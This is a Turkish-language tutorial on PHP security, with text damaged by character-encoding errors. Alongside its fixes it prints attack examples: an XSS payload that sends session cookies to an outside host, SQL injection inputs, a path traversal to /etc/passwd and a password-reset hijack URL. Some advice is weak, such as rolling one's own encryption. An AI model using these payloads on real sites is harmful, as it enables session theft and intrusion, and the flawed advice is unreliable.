PHP’nin güvenlik zafiyetleri olduÄŸu, bir çok anlamda yetersiz bir dil olduÄŸu söyleniyor. Hatta Unix camiasının istenmeyen çocuÄŸu gibi. Görüşüm, bu durumun, kaliteli PHP programcılarının (PHP Hackers) olmamasından ve PHP’nin nispeten kolay öğrenilen bir dil olmasından kaynaklanıyor. Bu  da ilk olarak güvenlik konusunda zafiyetlere yol açıyor. Åžimdi güvenlik konusuna girelim.Åžu kesin; hiç saÄŸ elinle sol kulağını tutmadan, bazı yöntemleri uygulayarak güncel web zafiyetlerinin %80 inden kaçmak mümkün. Ve bu PHP’de çok kolay bir ÅŸekilde yapılabilir.

1.Register Globals

Her güvenlik yazısında yüzlerce kere değinilmesine rağmen hala Register Globals kullanabilecek insanların olması ürkütücü! Bilindiği gibi Register Globals, $_Request (POSTve GET) değişkenlerini sanki o belgede tanımlanmış değişkenlermiş gibi göstererek direk o değişkene erişilmesine olanak verir.

Örnek:
register_globals.php
<?php
echo $ornek;

?>

http://localhost/php_guvenlik/register_globals.php?ornek=deneme diye sayfadan çaÄŸrıldığında ekranda “deneme” yazıldığını göreceksiniz. ornek=deneme kısmını deÄŸiÅŸtirerek “ornek” deÄŸiÅŸkeninin deÄŸerini de adres çubuÄŸundan kontrol edebilirsiniz. Ne büyük bir delik deÄŸil mi? Neyse ki register globals artık öntanımlı olarak kapalı geliyor ve PHP 6 ile birlikte de dilden çıkarılıyor. EÄŸer böyle bir global deÄŸiÅŸkene ihtiyaç duyan bir web uygulamanız varsa kodları komple gözden geçirmelisiniz.

2.Form Değişkenlerin Kontrolü ve Cross Site Scripting

Yine yüzlerce kere deÄŸinilen bir konu, motto ÅŸu: “Kullanıcıya asla güvenme!” . Kullanıcıdan aldığımız her ÅŸeyi önce acaba bu nükleer bir atık mı, hediye paketi süsü verilmiÅŸ bir bombamı, yoksa masum bir istek mi diye eldivenleri takıp laboratuar ÅŸartlarında incelememiz gerekir. Bir örnek vermek gerekirse ÅŸu yeter sanırım:

2003 yılında Hotmail Passport hesabında şöyle bir olay gerçekleşmişti:

https://register.passport.net/emailpwdreset.srf?lc=1033&em= kurban@hotmail.comBu mail adresi spam botlara karşı korumalıdır, görebilmek için Javascript açık olmalıdır &id=&cb=&prefem= hacker@attacker.comBu mail adresi spam botlara karşı korumalıdır, görebilmek için Javascript açık olmalıdır &rst=1 bu şekilde kurban@hotmail.comBu mail adresi spam botlara karşı korumalıdır, görebilmek için Javascript açık olmalıdır kullanıcısının bilgileri hacker@attacker.comBu mail adresi spam botlara karşı korumalıdır, görebilmek için Javascript açık olmalıdır maline gönderiliyordu. Ve bu açığa sebep olan Microsoft gibi bir şirket idi! Buradan hareketle mail adresi ve kullanıcı adının girildiği ve karşılığında parola kurtarma mailinin adresinize geldiği bir senaryo:

<form action=”reset.php” method=”GET”>
<table>
<tr><td>Kullanıcıadı</td><input type=”text” name=”kad”/></td></tr>
<tr><td>Parola</td><input type=”text” name=”email”/></td></tr>
<tr><td></td><td><input type=”submit” value=”Kurtar” /></td></tr>
</table>

</form>

http://localhost/reset.php?kad=osman&email= osman@orhan.comBu mail adresi spam botlara karşı korumalıdır, görebilmek için Javascript açık olmalıdır

<?php
$kad    = $_GET['kad'];
$email = $_GET['email];
function kurtar($kad ,$email)
{
//Kullanıcı adını veritabanından sorgula ve email adresine gerekli bilgileri yolla.
}
?>

http://localhost/reset.php?kad=kamuran&email= osman@osman.comBu mail adresi spam botlara karşı korumalıdır, görebilmek için Javascript açık olmalıdır ile kamuran isimli kullanıcının bilgileri osman@osman.comBu mail adresi spam botlara karşı korumalıdır, görebilmek için Javascript açık olmalıdır a gönderiliyor.

Sırf siz email adresini kontrol etmediğiniz için. Güvenlik için kullanıcıdan gelen verileri kontrol etmeliyiz, $email değişkenindeki değerin bir email olup olmadığını küçük bir email_valid() fonksiyonu ile yapabiliriz ayrıca adresinin bu kullanıcıya ait olup olmadığını kontrol etmeliyiz, ondan sonra email adresine bir mail geçebilirsiniz!

 PHP için önemli güvenlik önlemleri.   Resim

Owasp Top #1 XSS

XSS nedir?

“XSS açıkları uygulama kullanıcıdan veri alıp, bunları herhangi bir kodlama ya da doÄŸrulama iÅŸlemine tabi tutmadan sayfaya göndermesi ile oluÅŸur. XSS saldırganın kurbanın tarayıcısında kullanıcı oturumları bilgilerin çalınmasına, web sitesinin tahrif edilmesine veya solucan yüklenmesine sebep olan betik çalıştırmasına izin verir .”

Hemen bir örnek verelim, burada kullanıcının oturum bilgileri çalınarak benimsunucum.org adresine gönderiliyor.

<form action=”yorum.php” method=”GET” />
İsim: <input type=”text” name=”ad” /><br />
Yorum: <textarea name=”yorum” rows=”10″ cols=”60″></textarea><br />
<input type=”submit” value=”Yorumla” /></p>
</form>
yorum.php
<?php
$ad    = $_POST['ad'];
$yorum  = $_POST['yorum'];
echo “<p>$ad nın yorumu <br />”;
echo “<blockquote>$yorum</blockquote></p>”;
?>

İşte burada devreye giriyor. Yollanan veriler http://sizinsite.com/yorum.php?ad=osman&yorum=yorum gibi gitmesi gerekirken cin fikirli bir kullanıcı bu adresi şöyle değiştiriyor:

http://sizinsite.com/yorum.php?ad=osman&yorum=<script>document.location=’http://benimsunucum.org/kaydet.php?cookies=’ + document.cookie </script>

yazarak oturum bilgilerinizi kaydediyor. Verilerin POST ile gönderilmesi buna bir çözüm olabilir diyorsanız yanılıyorsunuz. Zira GET ve POST metotlarının ikiside kolayca manipüle edilebiliyor. Sadece POST ile adres satırında alenen değil  gizli şekilde yapılıyor. Bu web programcılarının yaptığı en büyük zafiyet. Bunun için gelen veriler önce bir değerlendirmeye alınmalı, daha sonra kullanılmaya gönderilmelidir. Şunun gibi güvenli bir kod yapılabilir.

$ad    = htmlentities($_POST['ad'], ENT_QUOTES, ‘UTF-8′);
$yorum = htmlentities($_POST['yorum'], ENT_QUOTES, ‘UTF-8′);
strip_tags() ile de bu iş çözülebilir, strip_tags() fonksiyonu değişkendeki bütün html taglarını siler.(Aldığı ek parametre ile bazı etiketlere izin verebilirsiniz.) htmlentities ise değişkendeki html etiketlerini bir htmlentities tablosundaki değerlerle değiştirip değişkeni güvenli hale getirir.
Burada girdileri kontrol ediyoruz ama can sıkıcı bir baÅŸka durum ise kontrol edilmeyen veya gözden kaçmış bir alanın yanlışlıkla veritabanına alınması ve kullanıcıya gösterilmesi esnasında yani çıktı kısmına problem oluÅŸturması. EÄŸer deÄŸiÅŸkenleri kontrollü alıyorsanız problem yok ama atlanılabilecek bir durum sözkonusu olabilir diye kullanıcıya verilerin sunulması aÅŸamasında da htmlentities ve benzeri html tagl ayıklayıcılarıyla kontrol edilirse çifte güvenlik saÄŸlanmış olur. Mesela kullanıcıya veritabanına bilgi girmeden önce “önizleme” (preview) sunan bir deÄŸiÅŸken böyle bir soruna yol açabilir.

SQL Injection

Örnek bir formumuz olsun:

<form action=”giris.php” method=”POST”>
<table>
<tr><td>Kullanıcıadı</td><input type=”text” name=”kad”/></td></tr>
<tr><td>Parola</td><input type=”password” name=”parola”/></td></tr>
<tr><td></td><td><input type=”submit” value=”Gir” /></td></tr>
</table>
</form>

Şimdi bu formu işleyen PHP kodumuza bakalım:

<?php
$kadi    = $_POST['kad'];
$parola = $_POST['parola'];
$db->query(“SELECT * FROM kullanici WHERE kadi = ‘$kadi’ AND parola = ‘$parola’”);
?>

Kodu fazla detaylandırmadan hemen hatalara bakalım. Kullanıcıdan gelen veriler kontrol edilmede direk veritabanında işleme alındı. En büyük zafiyetlerden birisi bu. Mottomuzu hatırlayalım. Kullanıcıya asla güvenme! Mesela kullanıcı adı kısmına şu yazılsa:

root – eÄŸer varsa root kullanıcı bilgilerini ekrana dökecekti. SQL de “–” iÅŸareti yorum baÅŸlangıcını ifade eder. Yani koddaki geri kalan AND parola = ‘$parola’ kısmı artık yok oldu. Ya da ÅŸu ÅŸekilde bir kod enjekte edilebilir.

kullaniciadi = ‘osman’ OR 1 =1

kullanıcıadı kısmına osman or 1=1 yazılarak tüm kullanıcıların bilgisine ulaşılınabilinir. Pis bir elmayı yıkamadan yemek gibi. Hasta olmamak için önce elmayı yıkamamız gerekli. Öncelikle daha önce belirttiğimiz gibi html filtreleyicileri kullanılmalı:

$kad = htmlentities($_POST['kad'], ENT_QUOTES, ‘UTF-8′);
$parola = htmlentities($_POST['parola'], ENT_QUOTES, ‘UTF-8′);

Daha sonra klasik SQL sınıfları yerine PDO gibi bir sınıf kullanarak (Dilin doğal kütüphanesi olduğu için bunu tercih ediyorum ) veriler veritabanından sorgulanmalı;

$query=$db->prepare(“SELECT * FROM kullanici WHERE kullaniciadi = :kad AND parola = :parola”);
$query->bindparam(‘:kad’,$kad,PDO::PARAM_STR);
$query->bindparam(‘:parola’,$parola,PDO::PARAM_INT);
$query->execute();
$kullanici = $query->fetch();

Burada kad bir string ve parola bir integer değer olarak sorgulanıyor. Bunların dışındaki değerler için $query->execute() işlemi gerçekleştirilmiyor. Bu yöntem (prepared statments) sql injection saldırılarını %99 azaltabilir (belki %99,9) fakat diğer bir özelliğide normal sql sorgularına göre hızlı çalışması. Yani güvenliği ön plana çıkaryım derken çoğu zaman performanstan kayıp yaşanır ama ama burada bu iş tersine dönüyor. Bu da SQL injectionu savuşturmada elimizi güçlendiriyor.

Session İşlemleri

SESSION işlemleri bir çok web uygulamasının kullanıcı ve oturum yönetiminde kullanılıyor. Ama sadece browserda depolanan SESSION cookie lerini kullanarak oturum yönetimi yapan uygulamalar güvensiz uygulamalardır. Kötü niyetli kullanıcı XSS açıklarından yararlanıp browserda depolanan SESSIONID leri çalarak  , bu SESSIONID ile  siteye gelip o kullanıcıyı taklit ederek bilgilerine ulaşabilir. Bundan dolayı her sayfa için belli bir anahtar ve değer ikilisi kullanmak şu an için en mantıklı çözüm:

$_SESSION['anahtar'] = md5($_SERVER['HTTP_USER_AGENT']);

ve SESSION kullanan sayfalarda bir kilit yapıp bunların uyup uymadığını kontrol edebilirsiniz.

$kilit = md5($_SERVER['HTTP_USER_AGENT']);
if($_SESSION['anahtar'] == $kilit){
// İşlem yap
}
else{
// İşlemi bitir.
}

Kendi şifreleme algoritmalarınızı oluşturabilir ve sayfalar arasında iletişim kuran verileri bu algoritma ile şifreleyip geri şifreyi çözerek uygulamayı kendi içinde güvenli hale getirebilirsiniz.

Dosya Enjektesi ve RFI

Bazı sınıflarınızı PHP nin include veya require methodlarıyla diğer dosyaların içinden çağırabilir ve kod karmaşasının önüne geçebilirsiniz. Bunun için kullanılınan include ve require methodları tahmin etmediğiniz açıklara sebep olabilir.

if(isset($page))
{
include($page);
}

Burada $page değişkeniyle gelen değer varsa direk include ediyoruz. Mantıklı olan dosyayı direk değil kontrol ederek require_once metoduyla sayfaya dahil etmek.

Include , include_once ve require, require_once _once takısı alan metod daha önce o dosyanın dahil olup olmadığına bakar yani siz sayfanın belli yerlerinde tek bir kod çalıştırmak istiyorsunuz. Diyelim ki tarih.php sayfasında bir tarih-saat formatınız var ve onu sayfanın farklı yerlerinde ekrana basmak istiyorsunuz.

include(‘tarih.php’); // tarihi bastı
include(‘tarih.php’); // yine tarihi bastı
Oysa

include_once(‘tarih.php’); // tarih basıldı

include_once(‘tarih.php’); // daha önce bu include işlemi gerçekleştirildiği için tekrarlanmadı.

Yapılan testlerde require_once nin en  hızlı yöntem olduğu gözlenmiştir.

Mesela sayfaların farklı alanlarını göstermek için şöyle bir kod kullanıyor olalım:

index.php?sayfa=iletisim.html

PHP kodu:

<?php
$sayfa = $_GET[‘sayfa’];
include ‘$sayfa’;
// veya echo $sayfa;
?>

Masumca iletişim sayfasını göstermesi gereken kodumuza bir de şimdi bakalım:

index.php?sayfa=../etc/passwd

Ekrana sunucunun root kullanıcı bilgileri geldi! Evet elimizle sunucuyu verdik. Sisteme tam yolu göstererek sayfaya dâhil etmek ve require_once metodunu kullanarak bu zafiyeti atlatabiliriz.

$dir = ‘./inc/’;

require_once $dir . $sayfa ;  // sadece inc içindekileri require edebilir.

PHP Tip Denetimi ve Güvenlik

PHP de tip denetim yapısı katı değildir ve bu güvenlik sorunlarını tetiklemektedir. Uygulamanızda değişken tiplerinin neler olduğunu bilmek ve mantıksal olarak kullanıcıdan gelen değişkenlerin türünü bilmek birçok durumda hataları ortadan kaldırabilir. Mesela kullanıcının yaşını getiren bir form değişkenimiz olsun;

$yas = $_POST['yas']

Åžimdi bu “$yas” deÄŸiÅŸkeninin sadece tamsayı olmasını bekleriz, ama oradan biraz önce bahsettiÄŸimiz gibi farklı ÅŸeyler gelebilir. Bunun için $yas deÄŸiÅŸkenin gerçekten beklediÄŸimiz “tamsayı” türünden bir deÄŸiÅŸken mi yoksa farklı türden bir deÄŸiÅŸken mi gelmiÅŸ bir bakalım.

Yöntem-1

if(is_int($yas)){
echo ‘YaÅŸ bir tamsayı’;
}
else{
echo ‘Hata! YaÅŸ kısmında XSS!’;
}

Burada değişkenin türüne bakılıyor eğer tamsayı ise izin veriliyor yoksa hata veriyor.

Yöntem-2

$yas = (int) $_POST['yas'];

bu yöntemle $yas deÄŸiÅŸkenini bir tamsayıya çevirdik. EÄŸer yaÅŸ deÄŸiÅŸkeninden “<script> … </script>” gibi bir deÄŸer gelirse (int) yöntemi onu hemen bir tamsayıya çeviriyor. Burada $yas = 0 oluyor ve “<script> … </script>” kısımlar etkisiz hale getiriliyor. settype(), gettype(),is_string(),is_int(),is_float(),is_bool() fonksiyonlarıyla tür kontrollerini yapabilirsiniz. Ve bu fonksiyonlar güvenli web uygulamaları geliÅŸtirmenizde çok iÅŸinize yarayacaktır.

Uzunlukları Kontrol Etmek

Gelen değişkenlerin uzunluklarını kontrol etmek de bazı durumlarda çok işinize yarayabilir. Yine mantıksal adımlarla ilerleyelim. Mesela bir formdan kişinin kullanıcı adı ve parolasını alalım. Veritabanında bu bilgiler VARCHAR türü 12 karakterle tutulan bir alan olsun. Gelen form verilerini direk işleme sokmak yerine önce kaç karakterli olduklarına bakalım.

$kullaniciadi = $_POST['kullaniciadi'];
$parola = $_POST['parola'];
if(strlen($kullaniciadi) > 12 || strlen($parola) > 12 )
{
echo ‘Bu kullanıcı baÅŸka bir ÅŸeyin derdinde!’;
}
else
{
echo ‘İşlem tamam!’;
//GiriÅŸ iÅŸlemleri.
}

Buradaki kodda kullanıcıadı ve parola değişkenlerinin uzunluklarını kontrol edip 12 karakterden büyük olup olmadıklarına baktık. Eğer herhangi birisi 12 karakterden uzunsa hata verilmesini sağladık. Bu işlem ile URL Encode , Desimal ve Heksadesimal HTML ataklarına karşı sizi koruyabilir. Son Olarak hata raporlarının yanlış tanımlanması  büyük sorunlara yol açmasa da haşarı cracker arkadaşlara tahminlerde bulunulmasına ve büyük açığın tespit edilmesinde yardımcı olabilir.

error_reporting(E_ALL);

ile bütün hataları ekrana basarsınız. E_ALL yerine farklı seçeneklerle bu durumun önüne geçebilirsiniz.

www.bilgiguvenliği.gov.tr adresinden osman beyin yazısından alıntıdır.